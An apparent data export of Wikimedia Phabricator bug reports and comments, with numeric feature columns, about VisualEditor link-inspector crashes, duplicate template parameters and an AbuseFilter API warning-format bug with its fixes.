https://gerrit.wikimedia.org/r/76839",,,1375304098,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 76839 merged by jenkins-bot:
Link inspector bug fixes

GERRIT_URL"
246840,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links",*** Bug 52344 has been marked as a duplicate of this bug. ***,,,1375303309,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52344 has been marked as a duplicate of this bug. ***
246834,"VisualEditor: Link inspector ignores typed text if user presses [enter] too quickly, explodes with new links","Change 76839 had a related patch set uploaded by Trevor Parscal:
The greatest commit in the history of the world*

https://gerrit.wikimedia.org/r/76839",,,1375222005,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xodrhcpq6wj3seyvlmoc,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,20.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.28,0.96,"Change 76839 had a related patch set uploaded by Trevor Parscal:
The greatest commit in the history of the world*

GERRIT_URL"
53406,VisualEditor: Transclusion dialog should prevent adding identically-named parameters (and aliases),"Templates should not have identically named parameters  (""url="", ""url="", for example). Can VisualEditor be configured to note when this happens, if not outright prevent it?

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1373927820,1406062458.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-5pkp6kncu5pzdahrd6qn,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,2.0,4.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.7090909090909091,"Templates should not have identically named parameters  (""url="", ""url="", for example). Can VisualEditor be configured to note when this happens, if not outright prevent it?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
246302,VisualEditor: Transclusion dialog should prevent adding identically-named parameters (and aliases),"I'm going to assume ""yes"" given testing.",,,1406062458,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5pkp6kncu5pzdahrd6qn,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.090909090909091,0.9090909090909091,"I'm going to assume ""yes"" given testing."
246297,VisualEditor: Transclusion dialog should prevent adding identically-named parameters (and aliases),Works for me... Has this been fixed since it was reported?,,,1405980543,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-5pkp6kncu5pzdahrd6qn,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,Works for me... Has this been fixed since it was reported?
53404,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"* Edit a page
* Put cursor at the end of a line
* Go to toolbar and Insert new link
* The input field is focussed, blur it by clicking somewhere inside the inspector outside the input field
* Click the trash can (since there is no ""x"" close button, that's the closest I can find in the top left or right corner)
* The inspector clears itself but stays behind (crashes half-way closing)


Uncaught Error: No class registered by that name: undefined ve.Factory.js:62
ve.Factory.create ve.Factory.js:62
ve.dm.SurfaceFragment.annotateContent ve.dm.SurfaceFragment.js:518
ve.ui.AnnotationInspector.onClose ve.ui.AnnotationInspector.js:162
ve.ui.Window.close ve.ui.Window.js:281
ve.ui.Inspector.onRemoveButtonClick ve.ui.Inspector.js:89
oo.EventEmitter.emit oo.js:421
ve.ui.IconButtonWidget.onClick ve.ui.IconButtonWidget.js:61
proxy load.php?debug=true&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20130715T175253Z:775
jQuery.event.dispatch load.php?debug=true&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20130715T175253Z:3058
elemData.handle.eventHandle


An empty inspector stays behind and the user can no longer interact with any links at this point. When doing anything (scrolling, typing) the inspector will hide. Except the bubble tip on top, that one stays behind...

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1373927580,1375304925.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-dke6zkvtno2ooulod6bw,task_description,resolved,True,c1,3,True,False,True,2,,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,6.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,3.0,5.333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.0,1.0,0.3333333333333333,0.0,3.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.333333333333333,0.6666666666666666,7.333333333333333,1.6666666666666667,1.3333333333333333,7.666666666666667,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,1.0,5.333333333333333,5.333333333333333,0.0,0.6666666666666666,0.0,1.0,0.0,0.3333333333333333,1.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.3333333333333333,6.21078431372549,0.7450980392156863,"* Edit a page
* Put cursor at the end of a line
* Go to toolbar and Insert new link
* The input field is focussed, blur it by clicking somewhere inside the inspector outside the input field
* Click the trash can (since there is no ""x"" close button, that's the closest I can find in the top left or right corner)
* The inspector clears itself but stays behind (crashes half-way closing)


Uncaught Error: No class registered by that name: undefined ve.Factory.js:62
ve.Factory.create ve.Factory.js:62
ve.dm.SurfaceFragment.annotateContent ve.dm.SurfaceFragment.js:518
ve.ui.AnnotationInspector.onClose ve.ui.AnnotationInspector.js:162
ve.ui.Window.close ve.ui.Window.js:281
ve.ui.Inspector.onRemoveButtonClick ve.ui.Inspector.js:89
oo.EventEmitter.emit oo.js:421
ve.ui.IconButtonWidget.onClick ve.ui.IconButtonWidget.js:61
proxy load.php?debug=true&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20130715T175253Z:775
jQuery.event.dispatch load.php?debug=true&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20130715T175253Z:3058
elemData.handle.eventHandle


An empty inspector stays behind and the user can no longer interact with any links at this point. When doing anything (scrolling, typing) the inspector will hide. Except the bubble tip on top, that one stays behind...

--------------------------
**Version**: unspecified
**Severity**: critical"
246201,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,*** Bug 51984 has been marked as a duplicate of this bug. ***,,,1383173187,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51984 has been marked as a duplicate of this bug. ***
246197,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,This is now merged and will be deployed later.,,,1375304925,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,This is now merged and will be deployed later.
246192,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Change 76839 merged by jenkins-bot:
Link inspector bug fixes

https://gerrit.wikimedia.org/r/76839",,,1375304091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 76839 merged by jenkins-bot:
Link inspector bug fixes

GERRIT_URL"
246187,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Change 76839 had a related patch set uploaded by Trevor Parscal:
The greatest commit in the history of the world*

https://gerrit.wikimedia.org/r/76839",,,1375222010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,20.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.28,0.96,"Change 76839 had a related patch set uploaded by Trevor Parscal:
The greatest commit in the history of the world*

GERRIT_URL"
246178,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"I can reproduce this by putting the cursor on a blank line (such as an empty page), clicking link inspector icon, then pressing key 'Esc'.",,,1374998678,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,0.0,3.5625,0.9375,"I can reproduce this by putting the cursor on a blank line (such as an empty page), clicking link inspector icon, then pressing key 'Esc'."
246171,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Bug 51415 is reporting the same JS error in the same component, with different steps to reproduce.",,,1374444476,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.315789473684211,0.8947368421052632,"Bug 51415 is reporting the same JS error in the same component, with different steps to reproduce."
246165,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,I've just tested this and can reproduce it except for comment 3 - in my test I was able to do everything except link and the save worked as expected.,,,1374342895,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,False,,,2,,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,19.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.90625,I've just tested this and can reproduce it except for comment 3 - in my test I was able to do everything except link and the save worked as expected.
246159,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"It could be just be, but I run into this quite often. Every time it happens the interface crashes unrecoverably and all work is lost.",,,1374148846,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,2,,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,11.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.892857142857143,0.9285714285714286,"It could be just be, but I run into this quite often. Every time it happens the interface crashes unrecoverably and all work is lost."
246153,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Created attachment 12854
Screenshot of problem

**Attached**: {F11587}",,,1373927653,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.823529411764706,0.8235294117647058,"Created attachment 12854
Screenshot of problem

**Attached**: {F11587}"
246147,VisualEditor: Link inspector crashes when inserting link on non-linkable or empty selection,"Note, this doesn't seem a race condition or anything. I'm giving it at least half a second to a second of time between each distinct action.",,,1373927630,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dke6zkvtno2ooulod6bw,task_subcomment,,True,c1,3,True,,,2,,3.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,10.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,6.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,3.7096774193548385,0.8709677419354839,"Note, this doesn't seem a race condition or anything. I'm giving it at least half a second to a second of time between each distinct action."
53403,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","Screenshot of problem in local VisualEditor dev

The code [1] is using $status->getHtml() but apparently it doesn't work as expected because I'm getting raw wikitext.

        ""edit"": {
            ""code"": ""abusefilter-warning"",
            ""info"": ""Hit AbuseFilter: Blanking articles"",
            ""warning"": ""'''Warning:''' This action has been automatically identified as harmful.\nUnconstructive edits will be quickly reverted,\nand egregious or repeated unconstructive editing will result in your account or IP address being blocked.\nIf you believe this action to be constructive, you may submit it again to confirm it.\nA brief description of the abuse rule which your action matched is: Blanking articles"",
            ""result"": ""Failure""
        }

To import the filter, use ""Special:AbuseFilter/import"" on your localwiki with:

{""row"":{""af_id"":""1"",""af_pattern"":""!\""autoconfirmed\"" in user_groups\r\n& new_size < 50\r\n& old_size > 500\r\n& article_namespace == 0"",""af_user"":""1"",""af_user_text"":""Root"",""af_timestamp"":""20130715214820"",""af_enabled"":""1"",""af_comments"":"""",""af_public_comments"":""Blanking articles"",""af_hidden"":""0"",""af_hit_count"":""9"",""af_throttled"":""1"",""af_deleted"":""0"",""af_actions"":""warn,disallow,tag"",""af_global"":""0"",""af_group"":""default""},""actions"":{""disallow"":{""action"":""disallow"",""parameters"":[""""]},""tag"":{""action"":""tag"",""parameters"":[""blanking""]},""warn"":{""action"":""warn"",""parameters"":[""abusefilter-warning""]}}}



[1] https://github.com/wikimedia/mediawiki-extensions-AbuseFilter/blob/a6b1dade840841ff7adf2ff289b6428f930d6796/AbuseFilter.hooks.php#L22-L57

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11585}",High,80.0,1373926620,1373987022.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-6s22kiygdurpmwpk3lqs,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,0.0,1.6666666666666667,2.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,4.666666666666667,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.6666666666666666,2.3333333333333335,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,12.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,2.0,7.333333333333333,0.3333333333333333,2.3333333333333335,2.0,0.0,0.0,0.0,0.0,4.333333333333333,0.3333333333333333,0.6666666666666666,0.0,2.6666666666666665,4.666666666666667,4.0,0.0,8.666666666666666,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,2.0,0.0,0.0,1.6666666666666667,6.232456140350877,0.6866028708133971,"Screenshot of problem in local VisualEditor dev

The code [1] is using $status->getHtml() but apparently it doesn't work as expected because I'm getting raw wikitext.

        ""edit"": {
            ""code"": ""abusefilter-warning"",
            ""info"": ""Hit AbuseFilter: Blanking articles"",
            ""warning"": ""'''Warning:''' This action has been automatically identified as harmful.\nUnconstructive edits will be quickly reverted,\nand egregious or repeated unconstructive editing will result in your account or IP address being blocked.\nIf you believe this action to be constructive, you may submit it again to confirm it.\nA brief description of the abuse rule which your action matched is: Blanking articles"",
            ""result"": ""Failure""
        }

To import the filter, use ""Special:AbuseFilter/import"" on your localwiki with:

{""row"":{""af_id"":""1"",""af_pattern"":""!\""autoconfirmed\"" in user_groups\r\n& new_size < 50\r\n& old_size > 500\r\n& article_namespace == 0"",""af_user"":""1"",""af_user_text"":""Root"",""af_timestamp"":""20130715214820"",""af_enabled"":""1"",""af_comments"":"""",""af_public_comments"":""Blanking articles"",""af_hidden"":""0"",""af_hit_count"":""9"",""af_throttled"":""1"",""af_deleted"":""0"",""af_actions"":""warn,disallow,tag"",""af_global"":""0"",""af_group"":""default""},""actions"":{""disallow"":{""action"":""disallow"",""parameters"":[""""]},""tag"":{""action"":""tag"",""parameters"":[""blanking""]},""warn"":{""action"":""warn"",""parameters"":[""abusefilter-warning""]}}}



[1] URL

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11585}"
246097,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property",We will deploy this fix today.,,,1373987077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,We will deploy this fix today.
246089,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","Change 73895 merged by jenkins-bot:
Really parse the API warning in the APIEditBeforeSave hook

https://gerrit.wikimedia.org/r/73895",,,1373945021,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,25.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7,0.95,"Change 73895 merged by jenkins-bot:
Really parse the API warning in the APIEditBeforeSave hook

GERRIT_URL"
